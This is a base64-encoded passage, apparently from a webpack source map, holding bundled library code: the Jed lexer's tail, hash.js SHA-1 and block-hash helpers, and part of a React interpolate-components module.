yZXR1cm4gdGhpcy5FT0Y7XG4gICAgICAgIH0gZWxzZSB7XG4gICAgICAgICAgICB0aGlzLnBhcnNlRXJyb3IoJ0xleGljYWwgZXJyb3Igb24gbGluZSAnKyh0aGlzLnl5bGluZW5vKzEpKycuIFVucmVjb2duaXplZCB0ZXh0LlxcbicrdGhpcy5zaG93UG9zaXRpb24oKSxcbiAgICAgICAgICAgICAgICAgICAge3RleHQ6IFwiXCIsIHRva2VuOiBudWxsLCBsaW5lOiB0aGlzLnl5bGluZW5vfSk7XG4gICAgICAgIH1cbiAgICB9LFxubGV4OmZ1bmN0aW9uIGxleCgpIHtcbiAgICAgICAgdmFyIHIgPSB0aGlzLm5leHQoKTtcbiAgICAgICAgaWYgKHR5cGVvZiByICE9PSAndW5kZWZpbmVkJykge1xuICAgICAgICAgICAgcmV0dXJuIHI7XG4gICAgICAgIH0gZWxzZSB7XG4gICAgICAgICAgICByZXR1cm4gdGhpcy5sZXgoKTtcbiAgICAgICAgfVxuICAgIH0sXG5iZWdpbjpmdW5jdGlvbiBiZWdpbihjb25kaXRpb24pIHtcbiAgICAgICAgdGhpcy5jb25kaXRpb25TdGFjay5wdXNoKGNvbmRpdGlvbik7XG4gICAgfSxcbnBvcFN0YXRlOmZ1bmN0aW9uIHBvcFN0YXRlKCkge1xuICAgICAgICByZXR1cm4gdGhpcy5jb25kaXRpb25TdGFjay5wb3AoKTtcbiAgICB9LFxuX2N1cnJlbnRSdWxlczpmdW5jdGlvbiBfY3VycmVudFJ1bGVzKCkge1xuICAgICAgICByZXR1cm4gdGhpcy5jb25kaXRpb25zW3RoaXMuY29uZGl0aW9uU3RhY2tbdGhpcy5jb25kaXRpb25TdGFjay5sZW5ndGgtMV1dLnJ1bGVzO1xuICAgIH0sXG50b3BTdGF0ZTpmdW5jdGlvbiAoKSB7XG4gICAgICAgIHJldHVybiB0aGlzLmNvbmRpdGlvblN0YWNrW3RoaXMuY29uZGl0aW9uU3RhY2subGVuZ3RoLTJdO1xuICAgIH0sXG5wdXNoU3RhdGU6ZnVuY3Rpb24gYmVnaW4oY29uZGl0aW9uKSB7XG4gICAgICAgIHRoaXMuYmVnaW4oY29uZGl0aW9uKTtcbiAgICB9fSk7XG5sZXhlci5wZXJmb3JtQWN0aW9uID0gZnVuY3Rpb24gYW5vbnltb3VzKHl5LHl5XywkYXZvaWRpbmdfbmFtZV9jb2xsaXNpb25zLFlZX1NUQVJUKSB7XG5cbnZhciBZWVNUQVRFPVlZX1NUQVJUO1xuc3dpdGNoKCRhdm9pZGluZ19uYW1lX2NvbGxpc2lvbnMpIHtcbmNhc2UgMDovKiBza2lwIHdoaXRlc3BhY2UgKi9cbmJyZWFrO1xuY2FzZSAxOnJldHVybiAyMFxuYnJlYWs7XG5jYXNlIDI6cmV0dXJuIDE5XG5icmVhaztcbmNhc2UgMzpyZXR1cm4gOFxuYnJlYWs7XG5jYXNlIDQ6cmV0dXJuIDlcbmJyZWFrO1xuY2FzZSA1OnJldHVybiA2XG5icmVhaztcbmNhc2UgNjpyZXR1cm4gN1xuYnJlYWs7XG5jYXNlIDc6cmV0dXJuIDExXG5icmVhaztcbmNhc2UgODpyZXR1cm4gMTNcbmJyZWFrO1xuY2FzZSA5OnJldHVybiAxMFxuYnJlYWs7XG5jYXNlIDEwOnJldHVybiAxMlxuYnJlYWs7XG5jYXNlIDExOnJldHVybiAxNFxuYnJlYWs7XG5jYXNlIDEyOnJldHVybiAxNVxuYnJlYWs7XG5jYXNlIDEzOnJldHVybiAxNlxuYnJlYWs7XG5jYXNlIDE0OnJldHVybiAxN1xuYnJlYWs7XG5jYXNlIDE1OnJldHVybiAxOFxuYnJlYWs7XG5jYXNlIDE2OnJldHVybiA1XG5icmVhaztcbmNhc2UgMTc6cmV0dXJuICdJTlZBTElEJ1xuYnJlYWs7XG59XG59O1xubGV4ZXIucnVsZXMgPSBbL15cXHMrLywvXlswLTldKyhcXC5bMC05XSspP1xcYi8sL15uXFxiLywvXlxcfFxcfC8sL14mJi8sL15cXD8vLC9eOi8sL148PS8sL14+PS8sL148LywvXj4vLC9eIT0vLC9ePT0vLC9eJS8sL15cXCgvLC9eXFwpLywvXiQvLC9eLi9dO1xubGV4ZXIuY29uZGl0aW9ucyA9IHtcIklOSVRJQUxcIjp7XCJydWxlc1wiOlswLDEsMiwzLDQsNSw2LDcsOCw5LDEwLDExLDEyLDEzLDE0LDE1LDE2LDE3XSxcImluY2x1c2l2ZVwiOnRydWV9fTtyZXR1cm4gbGV4ZXI7fSkoKVxucGFyc2VyLmxleGVyID0gbGV4ZXI7XG5yZXR1cm4gcGFyc2VyO1xufSkoKTtcbi8vIEVuZCBwYXJzZXJcblxuICAvLyBIYW5kbGUgbm9kZSwgYW1kLCBhbmQgZ2xvYmFsIHN5c3RlbXNcbiAgaWYgKHR5cGVvZiBleHBvcnRzICE9PSAndW5kZWZpbmVkJykge1xuICAgIGlmICh0eXBlb2YgbW9kdWxlICE9PSAndW5kZWZpbmVkJyAmJiBtb2R1bGUuZXhwb3J0cykge1xuICAgICAgZXhwb3J0cyA9IG1vZHVsZS5leHBvcnRzID0gSmVkO1xuICAgIH1cbiAgICBleHBvcnRzLkplZCA9IEplZDtcbiAgfVxuICBlbHNlIHtcbiAgICBpZiAodHlwZW9mIGRlZmluZSA9PT0gJ2Z1bmN0aW9uJyAmJiBkZWZpbmUuYW1kKSB7XG4gICAgICBkZWZpbmUoJ2plZCcsIGZ1bmN0aW9uKCkge1xuICAgICAgICByZXR1cm4gSmVkO1xuICAgICAgfSk7XG4gICAgfVxuICAgIC8vIExlYWsgYSBnbG9iYWwgcmVnYXJkbGVzcyBvZiBtb2R1bGUgc3lzdGVtXG4gICAgcm9vdFsnSmVkJ10gPSBKZWQ7XG4gIH1cblxufSkodGhpcyk7XG5cblxuXG4vLy8vLy8vLy8vLy8vLy8vLy9cbi8vIFdFQlBBQ0sgRk9PVEVSXG4vLyAuL25vZGVfbW9kdWxlcy9qZWQvamVkLmpzXG4vLyBtb2R1bGUgaWQgPSA5NlxuLy8gbW9kdWxlIGNodW5rcyA9IDAgMSAyIDMgNCA1IiwiJ3VzZSBzdHJpY3QnO1xuXG52YXIgdXRpbHMgPSByZXF1aXJlKCcuLi91dGlscycpO1xudmFyIGNvbW1vbiA9IHJlcXVpcmUoJy4uL2NvbW1vbicpO1xudmFyIHNoYUNvbW1vbiA9IHJlcXVpcmUoJy4vY29tbW9uJyk7XG5cbnZhciByb3RsMzIgPSB1dGlscy5yb3RsMzI7XG52YXIgc3VtMzIgPSB1dGlscy5zdW0zMjtcbnZhciBzdW0zMl81ID0gdXRpbHMuc3VtMzJfNTtcbnZhciBmdF8xID0gc2hhQ29tbW9uLmZ0XzE7XG52YXIgQmxvY2tIYXNoID0gY29tbW9uLkJsb2NrSGFzaDtcblxudmFyIHNoYTFfSyA9IFtcbiAgMHg1QTgyNzk5OSwgMHg2RUQ5RUJBMSxcbiAgMHg4RjFCQkNEQywgMHhDQTYyQzFENlxuXTtcblxuZnVuY3Rpb24gU0hBMSgpIHtcbiAgaWYgKCEodGhpcyBpbnN0YW5jZW9mIFNIQTEpKVxuICAgIHJldHVybiBuZXcgU0hBMSgpO1xuXG4gIEJsb2NrSGFzaC5jYWxsKHRoaXMpO1xuICB0aGlzLmggPSBbXG4gICAgMHg2NzQ1MjMwMSwgMHhlZmNkYWI4OSwgMHg5OGJhZGNmZSxcbiAgICAweDEwMzI1NDc2LCAweGMzZDJlMWYwIF07XG4gIHRoaXMuVyA9IG5ldyBBcnJheSg4MCk7XG59XG5cbnV0aWxzLmluaGVyaXRzKFNIQTEsIEJsb2NrSGFzaCk7XG5tb2R1bGUuZXhwb3J0cyA9IFNIQTE7XG5cblNIQTEuYmxvY2tTaXplID0gNTEyO1xuU0hBMS5vdXRTaXplID0gMTYwO1xuU0hBMS5obWFjU3RyZW5ndGggPSA4MDtcblNIQTEucGFkTGVuZ3RoID0gNjQ7XG5cblNIQTEucHJvdG90eXBlLl91cGRhdGUgPSBmdW5jdGlvbiBfdXBkYXRlKG1zZywgc3RhcnQpIHtcbiAgdmFyIFcgPSB0aGlzLlc7XG5cbiAgZm9yICh2YXIgaSA9IDA7IGkgPCAxNjsgaSsrKVxuICAgIFdbaV0gPSBtc2dbc3RhcnQgKyBpXTtcblxuICBmb3IoOyBpIDwgVy5sZW5ndGg7IGkrKylcbiAgICBXW2ldID0gcm90bDMyKFdbaSAtIDNdIF4gV1tpIC0gOF0gXiBXW2kgLSAxNF0gXiBXW2kgLSAxNl0sIDEpO1xuXG4gIHZhciBhID0gdGhpcy5oWzBdO1xuICB2YXIgYiA9IHRoaXMuaFsxXTtcbiAgdmFyIGMgPSB0aGlzLmhbMl07XG4gIHZhciBkID0gdGhpcy5oWzNdO1xuICB2YXIgZSA9IHRoaXMuaFs0XTtcblxuICBmb3IgKGkgPSAwOyBpIDwgVy5sZW5ndGg7IGkrKykge1xuICAgIHZhciBzID0gfn4oaSAvIDIwKTtcbiAgICB2YXIgdCA9IHN1bTMyXzUocm90bDMyKGEsIDUpLCBmdF8xKHMsIGIsIGMsIGQpLCBlLCBXW2ldLCBzaGExX0tbc10pO1xuICAgIGUgPSBkO1xuICAgIGQgPSBjO1xuICAgIGMgPSByb3RsMzIoYiwgMzApO1xuICAgIGIgPSBhO1xuICAgIGEgPSB0O1xuICB9XG5cbiAgdGhpcy5oWzBdID0gc3VtMzIodGhpcy5oWzBdLCBhKTtcbiAgdGhpcy5oWzFdID0gc3VtMzIodGhpcy5oWzFdLCBiKTtcbiAgdGhpcy5oWzJdID0gc3VtMzIodGhpcy5oWzJdLCBjKTtcbiAgdGhpcy5oWzNdID0gc3VtMzIodGhpcy5oWzNdLCBkKTtcbiAgdGhpcy5oWzRdID0gc3VtMzIodGhpcy5oWzRdLCBlKTtcbn07XG5cblNIQTEucHJvdG90eXBlLl9kaWdlc3QgPSBmdW5jdGlvbiBkaWdlc3QoZW5jKSB7XG4gIGlmIChlbmMgPT09ICdoZXgnKVxuICAgIHJldHVybiB1dGlscy50b0hleDMyKHRoaXMuaCwgJ2JpZycpO1xuICBlbHNlXG4gICAgcmV0dXJuIHV0aWxzLnNwbGl0MzIodGhpcy5oLCAnYmlnJyk7XG59O1xuXG5cblxuLy8vLy8vLy8vLy8vLy8vLy8vXG4vLyBXRUJQQUNLIEZPT1RFUlxuLy8gLi9ub2RlX21vZHVsZXMvaGFzaC5qcy9saWIvaGFzaC9zaGEvMS5qc1xuLy8gbW9kdWxlIGlkID0gOTdcbi8vIG1vZHVsZSBjaHVua3MgPSAwIDEgMiAzIDQgNSIsIid1c2Ugc3RyaWN0JztcblxudmFyIHV0aWxzID0gcmVxdWlyZSgnLi91dGlscycpO1xudmFyIGFzc2VydCA9IHJlcXVpcmUoJ21pbmltYWxpc3RpYy1hc3NlcnQnKTtcblxuZnVuY3Rpb24gQmxvY2tIYXNoKCkge1xuICB0aGlzLnBlbmRpbmcgPSBudWxsO1xuICB0aGlzLnBlbmRpbmdUb3RhbCA9IDA7XG4gIHRoaXMuYmxvY2tTaXplID0gdGhpcy5jb25zdHJ1Y3Rvci5ibG9ja1NpemU7XG4gIHRoaXMub3V0U2l6ZSA9IHRoaXMuY29uc3RydWN0b3Iub3V0U2l6ZTtcbiAgdGhpcy5obWFjU3RyZW5ndGggPSB0aGlzLmNvbnN0cnVjdG9yLmhtYWNTdHJlbmd0aDtcbiAgdGhpcy5wYWRMZW5ndGggPSB0aGlzLmNvbnN0cnVjdG9yLnBhZExlbmd0aCAvIDg7XG4gIHRoaXMuZW5kaWFuID0gJ2JpZyc7XG5cbiAgdGhpcy5fZGVsdGE4ID0gdGhpcy5ibG9ja1NpemUgLyA4O1xuICB0aGlzLl9kZWx0YTMyID0gdGhpcy5ibG9ja1NpemUgLyAzMjtcbn1cbmV4cG9ydHMuQmxvY2tIYXNoID0gQmxvY2tIYXNoO1xuXG5CbG9ja0hhc2gucHJvdG90eXBlLnVwZGF0ZSA9IGZ1bmN0aW9uIHVwZGF0ZShtc2csIGVuYykge1xuICAvLyBDb252ZXJ0IG1lc3NhZ2UgdG8gYXJyYXksIHBhZCBpdCwgYW5kIGpvaW4gaW50byAzMmJpdCBibG9ja3NcbiAgbXNnID0gdXRpbHMudG9BcnJheShtc2csIGVuYyk7XG4gIGlmICghdGhpcy5wZW5kaW5nKVxuICAgIHRoaXMucGVuZGluZyA9IG1zZztcbiAgZWxzZVxuICAgIHRoaXMucGVuZGluZyA9IHRoaXMucGVuZGluZy5jb25jYXQobXNnKTtcbiAgdGhpcy5wZW5kaW5nVG90YWwgKz0gbXNnLmxlbmd0aDtcblxuICAvLyBFbm91Z2ggZGF0YSwgdHJ5IHVwZGF0aW5nXG4gIGlmICh0aGlzLnBlbmRpbmcubGVuZ3RoID49IHRoaXMuX2RlbHRhOCkge1xuICAgIG1zZyA9IHRoaXMucGVuZGluZztcblxuICAgIC8vIFByb2Nlc3MgcGVuZGluZyBkYXRhIGluIGJsb2Nrc1xuICAgIHZhciByID0gbXNnLmxlbmd0aCAlIHRoaXMuX2RlbHRhODtcbiAgICB0aGlzLnBlbmRpbmcgPSBtc2cuc2xpY2UobXNnLmxlbmd0aCAtIHIsIG1zZy5sZW5ndGgpO1xuICAgIGlmICh0aGlzLnBlbmRpbmcubGVuZ3RoID09PSAwKVxuICAgICAgdGhpcy5wZW5kaW5nID0gbnVsbDtcblxuICAgIG1zZyA9IHV0aWxzLmpvaW4zMihtc2csIDAsIG1zZy5sZW5ndGggLSByLCB0aGlzLmVuZGlhbik7XG4gICAgZm9yICh2YXIgaSA9IDA7IGkgPCBtc2cubGVuZ3RoOyBpICs9IHRoaXMuX2RlbHRhMzIpXG4gICAgICB0aGlzLl91cGRhdGUobXNnLCBpLCBpICsgdGhpcy5fZGVsdGEzMik7XG4gIH1cblxuICByZXR1cm4gdGhpcztcbn07XG5cbkJsb2NrSGFzaC5wcm90b3R5cGUuZGlnZXN0ID0gZnVuY3Rpb24gZGlnZXN0KGVuYykge1xuICB0aGlzLnVwZGF0ZSh0aGlzLl9wYWQoKSk7XG4gIGFzc2VydCh0aGlzLnBlbmRpbmcgPT09IG51bGwpO1xuXG4gIHJldHVybiB0aGlzLl9kaWdlc3QoZW5jKTtcbn07XG5cbkJsb2NrSGFzaC5wcm90b3R5cGUuX3BhZCA9IGZ1bmN0aW9uIHBhZCgpIHtcbiAgdmFyIGxlbiA9IHRoaXMucGVuZGluZ1RvdGFsO1xuICB2YXIgYnl0ZXMgPSB0aGlzLl9kZWx0YTg7XG4gIHZhciBrID0gYnl0ZXMgLSAoKGxlbiArIHRoaXMucGFkTGVuZ3RoKSAlIGJ5dGVzKTtcbiAgdmFyIHJlcyA9IG5ldyBBcnJheShrICsgdGhpcy5wYWRMZW5ndGgpO1xuICByZXNbMF0gPSAweDgwO1xuICBmb3IgKHZhciBpID0gMTsgaSA8IGs7IGkrKylcbiAgICByZXNbaV0gPSAwO1xuXG4gIC8vIEFwcGVuZCBsZW5ndGhcbiAgbGVuIDw8PSAzO1xuICBpZiAodGhpcy5lbmRpYW4gPT09ICdiaWcnKSB7XG4gICAgZm9yICh2YXIgdCA9IDg7IHQgPCB0aGlzLnBhZExlbmd0aDsgdCsrKVxuICAgICAgcmVzW2krK10gPSAwO1xuXG4gICAgcmVzW2krK10gPSAwO1xuICAgIHJlc1tpKytdID0gMDtcbiAgICByZXNbaSsrXSA9IDA7XG4gICAgcmVzW2krK10gPSAwO1xuICAgIHJlc1tpKytdID0gKGxlbiA+Pj4gMjQpICYgMHhmZjtcbiAgICByZXNbaSsrXSA9IChsZW4gPj4+IDE2KSAmIDB4ZmY7XG4gICAgcmVzW2krK10gPSAobGVuID4+PiA4KSAmIDB4ZmY7XG4gICAgcmVzW2krK10gPSBsZW4gJiAweGZmO1xuICB9IGVsc2Uge1xuICAgIHJlc1tpKytdID0gbGVuICYgMHhmZjtcbiAgICByZXNbaSsrXSA9IChsZW4gPj4+IDgpICYgMHhmZjtcbiAgICByZXNbaSsrXSA9IChsZW4gPj4+IDE2KSAmIDB4ZmY7XG4gICAgcmVzW2krK10gPSAobGVuID4+PiAyNCkgJiAweGZmO1xuICAgIHJlc1tpKytdID0gMDtcbiAgICByZXNbaSsrXSA9IDA7XG4gICAgcmVzW2krK10gPSAwO1xuICAgIHJlc1tpKytdID0gMDtcblxuICAgIGZvciAodCA9IDg7IHQgPCB0aGlzLnBhZExlbmd0aDsgdCsrKVxuICAgICAgcmVzW2krK10gPSAwO1xuICB9XG5cbiAgcmV0dXJuIHJlcztcbn07XG5cblxuXG4vLy8vLy8vLy8vLy8vLy8vLy9cbi8vIFdFQlBBQ0sgRk9PVEVSXG4vLyAuL25vZGVfbW9kdWxlcy9oYXNoLmpzL2xpYi9oYXNoL2NvbW1vbi5qc1xuLy8gbW9kdWxlIGlkID0gOThcbi8vIG1vZHVsZSBjaHVua3MgPSAwIDEgMiAzIDQgNSIsIid1c2Ugc3RyaWN0JztcblxudmFyIHV0aWxzID0gcmVxdWlyZSgnLi4vdXRpbHMnKTtcbnZhciByb3RyMzIgPSB1dGlscy5yb3RyMzI7XG5cbmZ1bmN0aW9uIGZ0XzEocywgeCwgeSwgeikge1xuICBpZiAocyA9PT0gMClcbiAgICByZXR1cm4gY2gzMih4LCB5LCB6KTtcbiAgaWYgKHMgPT09IDEgfHwgcyA9PT0gMylcbiAgICByZXR1cm4gcDMyKHgsIHksIHopO1xuICBpZiAocyA9PT0gMilcbiAgICByZXR1cm4gbWFqMzIoeCwgeSwgeik7XG59XG5leHBvcnRzLmZ0XzEgPSBmdF8xO1xuXG5mdW5jdGlvbiBjaDMyKHgsIHksIHopIHtcbiAgcmV0dXJuICh4ICYgeSkgXiAoKH54KSAmIHopO1xufVxuZXhwb3J0cy5jaDMyID0gY2gzMjtcblxuZnVuY3Rpb24gbWFqMzIoeCwgeSwgeikge1xuICByZXR1cm4gKHggJiB5KSBeICh4ICYgeikgXiAoeSAmIHopO1xufVxuZXhwb3J0cy5tYWozMiA9IG1hajMyO1xuXG5mdW5jdGlvbiBwMzIoeCwgeSwgeikge1xuICByZXR1cm4geCBeIHkgXiB6O1xufVxuZXhwb3J0cy5wMzIgPSBwMzI7XG5cbmZ1bmN0aW9uIHMwXzI1Nih4KSB7XG4gIHJldHVybiByb3RyMzIoeCwgMikgXiByb3RyMzIoeCwgMTMpIF4gcm90cjMyKHgsIDIyKTtcbn1cbmV4cG9ydHMuczBfMjU2ID0gczBfMjU2O1xuXG5mdW5jdGlvbiBzMV8yNTYoeCkge1xuICByZXR1cm4gcm90cjMyKHgsIDYpIF4gcm90cjMyKHgsIDExKSBeIHJvdHIzMih4LCAyNSk7XG59XG5leHBvcnRzLnMxXzI1NiA9IHMxXzI1NjtcblxuZnVuY3Rpb24gZzBfMjU2KHgpIHtcbiAgcmV0dXJuIHJvdHIzMih4LCA3KSBeIHJvdHIzMih4LCAxOCkgXiAoeCA+Pj4gMyk7XG59XG5leHBvcnRzLmcwXzI1NiA9IGcwXzI1NjtcblxuZnVuY3Rpb24gZzFfMjU2KHgpIHtcbiAgcmV0dXJuIHJvdHIzMih4LCAxNykgXiByb3RyMzIoeCwgMTkpIF4gKHggPj4+IDEwKTtcbn1cbmV4cG9ydHMuZzFfMjU2ID0gZzFfMjU2O1xuXG5cblxuLy8vLy8vLy8vLy8vLy8vLy8vXG4vLyBXRUJQQUNLIEZPT1RFUlxuLy8gLi9ub2RlX21vZHVsZXMvaGFzaC5qcy9saWIvaGFzaC9zaGEvY29tbW9uLmpzXG4vLyBtb2R1bGUgaWQgPSA5OVxuLy8gbW9kdWxlIGNodW5rcyA9IDAgMSAyIDMgNCA1IiwiJ3VzZSBzdHJpY3QnO1xuXG5PYmplY3QuZGVmaW5lUHJvcGVydHkoZXhwb3J0cywgXCJfX2VzTW9kdWxlXCIsIHtcblx0dmFsdWU6IHRydWVcbn0pO1xuXG52YXIgX3R5cGVvZiA9IHR5cGVvZiBTeW1ib2wgPT09IFwiZnVuY3Rpb25cIiAmJiB0eXBlb2YgU3ltYm9sLml0ZXJhdG9yID09PSBcInN5bWJvbFwiID8gZnVuY3Rpb24gKG9iaikgeyByZXR1cm4gdHlwZW9mIG9iajsgfSA6IGZ1bmN0aW9uIChvYmopIHsgcmV0dXJuIG9iaiAmJiB0eXBlb2YgU3ltYm9sID09PSBcImZ1bmN0aW9uXCIgJiYgb2JqLmNvbnN0cnVjdG9yID09PSBTeW1ib2wgJiYgb2JqICE9PSBTeW1ib2wucHJvdG90eXBlID8gXCJzeW1ib2xcIiA6IHR5cGVvZiBvYmo7IH07IC8qKlxuICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICogRXh0ZXJuYWwgRGVwZW5kZW5jaWVzXG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgKi9cblxuXG4vKipcbiAqIEludGVybmFsIERlcGVuZGVuY2llc1xuICovXG5cblxudmFyIF9yZWFjdCA9IHJlcXVpcmUoJ3JlYWN0Jyk7XG5cbnZhciBfcmVhY3QyID0gX2ludGVyb3BSZXF1aXJlRGVmYXVsdChfcmVhY3QpO1xuXG52YXIgX3JlYWN0QWRkb25zQ3JlYXRlRnJhZ21lbnQgPSByZXF1aXJlKCdyZWFjdC1hZGRvbnMtY3JlYXRlLWZyYWdtZW50Jyk7XG5cbnZhciBfcmVhY3RBZGRvbnNDcmVhdGVGcmFnbWVudDIgPSBfaW50ZXJvcFJlcXVpcmVEZWZhdWx0KF9yZWFjdEFkZG9uc0NyZWF0ZUZyYWdtZW50KTtcblxudmFyIF90b2tlbml6ZSA9IHJlcXVpcmUoJy4vdG9rZW5pemUnKTtcblxudmFyIF90b2tlbml6ZTIgPSBfaW50ZXJvcFJlcXVpcmVEZWZhdWx0KF90b2tlbml6ZSk7XG5cbmZ1bmN0aW9uIF9pbnRlcm9wUmVxdWlyZURlZmF1bHQob2JqKSB7IHJldHVybiBvYmogJiYgb2JqLl9fZXNNb2R1bGUgPyBvYmogOiB7IGRlZmF1bHQ6IG9iaiB9OyB9XG5cbnZhciBjdXJyZW50TWl4ZWRTdHJpbmcgPSB2b2lkIDA7XG5cbmZ1bmN0aW9uIGdldENsb3NlSW5kZXgob3BlbkluZGV4LCB0b2tlbnMpIHtcblx0dmFyIG9wZW5Ub2tlbiA9IHRva2Vuc1tvcGVuSW5kZXhdLFxuXHQgICAgbmVzdExldmVsID0gMCxcblx0ICAgIHRva2VuLFxuXHQgICAgaTtcblx0Zm9yIChpID0gb3BlbkluZGV4ICsgMTsgaSA8IHRva2Vucy5sZW5ndGg7IGkrKykge1xuXHRcdHRva2VuID0gdG9rZW5zW2ldO1xuXHRcdGlmICh0b2tlbi52YWx1ZSA9PT0gb3BlblRva2VuLnZhbHVlKSB7XG5cdFx0XHRpZiAodG9rZW4udHlwZSA9PT0gJ2NvbXBvbmVudE9wZW4nKSB7XG5cdFx0XHRcdG5lc3RMZXZlbCsrO1xuXHRcdFx0XHRjb250aW51ZTtcblx0XHRcdH1cblx0XHRcdGlmICh0b2tlbi50eXBlID09PSAnY29tcG9uZW50Q2xvc2UnKSB7XG5cdFx0XHRcdGlmIChuZXN0TGV2ZWwgPT09IDApIHtcblx0XHRcdFx0XHRyZXR1cm4gaTtcblx0XHRcdFx0fVxuXHRcdFx0XHRuZXN0TGV2ZWwtLTtcblx0XHRcdH1cblx0XHR9XG5cdH1cblx0Ly8gaWYgd2UgZ2V0IHRoaXMgZmFyLCB0aGVyZSB3YXMgbm8gbWF0Y2hpbmcgY2xvc2UgdG9rZW5cblx0dGhyb3cgbmV3IEVycm9yKCdNaXNzaW5nIGNsb3NpbmcgY29tcG9uZW50IHRva2VuIGAnICsgb3BlblRva2VuLnZhbHVlICsgJ2AnKTtcbn1cblxuZnVuY3Rpb24gYnVpbGRDaGlsZHJlbih0b2tlbnMsIGNvbXBvbmVudHMpIHtcblx0dmFyIGNoaWxkcmVuID0gW10sXG5cdCAgICBjaGlsZHJlbk9iamVjdCA9IHt9LFxuXHQgICAgb3BlbkNvbXBvbmVudCxcblx0ICAgIGNsb25lZE9wZW5Db21wb25lbnQsXG5cdCAgICBvcGVuSW5kZXgsXG5cdCAgICBjbG9zZUluZGV4LFxuXHQgICAgdG9rZW4sXG5cdCAgICBpLFxuXHQgICAgZ3JhbmRDaGlsZFRva2Vucyxcblx0ICAgIGdyYW5kQ2hpbGRyZW4sXG5cdCAgICBzaWJsaW5nVG9rZW5zLFxuXHQgICAgc2libGluZ3M7XG5cblx0Zm9yIChpID0gMDsgaSA8IHRva2Vucy5sZW5ndGg7IGkrKykge1xuXHRcdHRva2VuID0gdG9rZW5zW2ldO1xuXHRcdGlmICh0b2tlbi50eXBlID09PSAnc3RyaW5nJykge1xuXHRcdFx0Y2hpbGRyZW4ucHVzaCh0b2tlbi52YWx1ZSk7XG5cdFx0XHRjb250aW51ZTtcblx0XHR9XG5cdFx0Ly8gY29tcG9uZW50IG5vZGUgc2hvdWxkIGF0IGxlYXN0IGJlIHNldFxuXHRcdGlmICghY29tcG9uZW50cy5oYXNPd25Qcm9wZXJ0eSh0b2tlbi52YWx1ZSkgfHwgdHlwZW9mIGNvbXBvbmVudHNbdG9rZW4udmFsdWVdID09PSAndW5kZWZpbmVkJykge1xuXHRcdFx0dGhyb3cgbmV3IEVycm9yKCdJbnZhbGlkIGludGVycG9sYXRpb24sIG1pc3NpbmcgY29tcG9uZW50IG5vZGU6IGAnICsgdG9rZW4udmFsdWUgKyAnYCcpO1xuXHRcdH1cblx0XHQvLyBzaG91bGQgYmUgZWl0aGVyIFJlYWN0RWxlbWVudCBvciBudWxsIChib3RoIHR5cGUgXCJvYmplY3RcIiksIGFsbCBvdGhlciB0eXBlcyBkZXByZWNhdGVkXG5cdFx0aWYgKF90eXBlb2YoY29tcG9uZW50c1t0b2tlbi52YWx1ZV0pICE9PSAnb2JqZWN0Jykge1xuXHRcdFx0dGhyb3cgbmV3IEVycm9yKCdJbnZhbGlkIGludGVycG9sYXRpb24sIGNvbXBvbmVudCBub2RlIG11c3QgYmUgYSBSZWFjdEVsZW1lbnQgb3IgbnVsbDogYCcgKyB0b2tlbi52YWx1ZSArICdgJywgJ1xcbj4gJyArIGN1cnJlbnRNaXhlZFN0cmluZyk7XG5cdFx0fVxuXHRcdC8vIHdlIHNob3VsZCBuZXZlciBzZWUgYSBjb21wb25lbnRDbG9zZSB0b2tlbiBpbiB0aGlzIGxvb3Bcblx0XHRpZiAodG9rZW4udHlwZSA9PT0gJ2NvbXBvbmVudENsb3NlJykge1xuXHRcdFx0dGhyb3cgbmV3IEVycm9yKCdNaXNzaW5nIG9wZW5pbmcgY29tcG9uZW50IHRva2VuOiBgJyArIHRva2VuLnZhbHVlICsgJ2AnKTtcblx0XHR9XG5cdFx0aWYgKHRva2VuLnR5cGUgPT09ICdjb21wb25lbnRPcGVuJykge1xuXHRcdFx0b3BlbkNvbXBvbmVudCA9IGNvbXBvbmVudHNbdG9rZW4udmFsdWVdO1xuXHRcdFx0b3BlbkluZGV4ID0gaTtcblx0XHRcdGJyZWFrO1xuXHRcdH1cblx0XHQvLyBjb21wb25lbnRTZWxmQ2xvc2luZyB0b2tlblxuXHRcdGNoaWxkcmVuLnB1c2goY29tcG9uZW50c1t0b2tlbi52YWx1ZV0pO1xuXHRcdGNvbnRpbnVlO1xuXHR9XG5cblx0aWYgKG9wZW5Db21wb25lbnQpIHtcblx0XHRjbG9zZUluZGV4ID0gZ2V0Q2xvc2VJbmRleChvcGVuSW5kZXgsIHRva2Vucyk7XG5cdFx0Z3JhbmRDaGlsZFRva2VucyA9IHRva2Vucy5zbGljZShvcGVuSW5kZXggKyAxLCBjbG9zZUluZGV4KTtcblx0XHRncmFuZENoaWxkcmVuID0gYnVpbGRDaGlsZHJlbihncmFuZENoaWxkVG9rZW5zLCBjb21wb25lbnRzKTtcblx0XHRjbG9uZWRPcGVuQ29tcG9uZW50ID0gX3JlYWN0Mi5kZWZhdWx0LmNsb25lRWxlbWVudChvcGVuQ29tcG9uZW50LCB7fSwgZ3JhbmRDaGlsZHJlbik7XG5cdFx0Y2hpbGRyZW4ucHVzaChjbG9uZWRPcGVuQ29tcG9uZW50KTtcblxuXHRcdGlmIChjbG9zZUluZGV4IDwgdG9rZW5zLmxlbmd0aCAtIDEpIHtcblx0XHRcdHNpYmxpbmdUb2tlbnMgPSB0b2tlbnMuc2xpY2UoY2xvc2VJbmRleCArIDEpO1xuXHRcdFx0c2libGluZ3MgPSBidWlsZENoaWxkcmVuKHNpYmxpbmdUb2tlbnMsIGNvbXBvbmVudHMpO1xuXHRcdFx0Y2hpbGRyZW4gPSBjaGlsZHJlbi5jb25jYXQoc2libGluZ3MpO1xuXHRcdH1cblx0fVxuX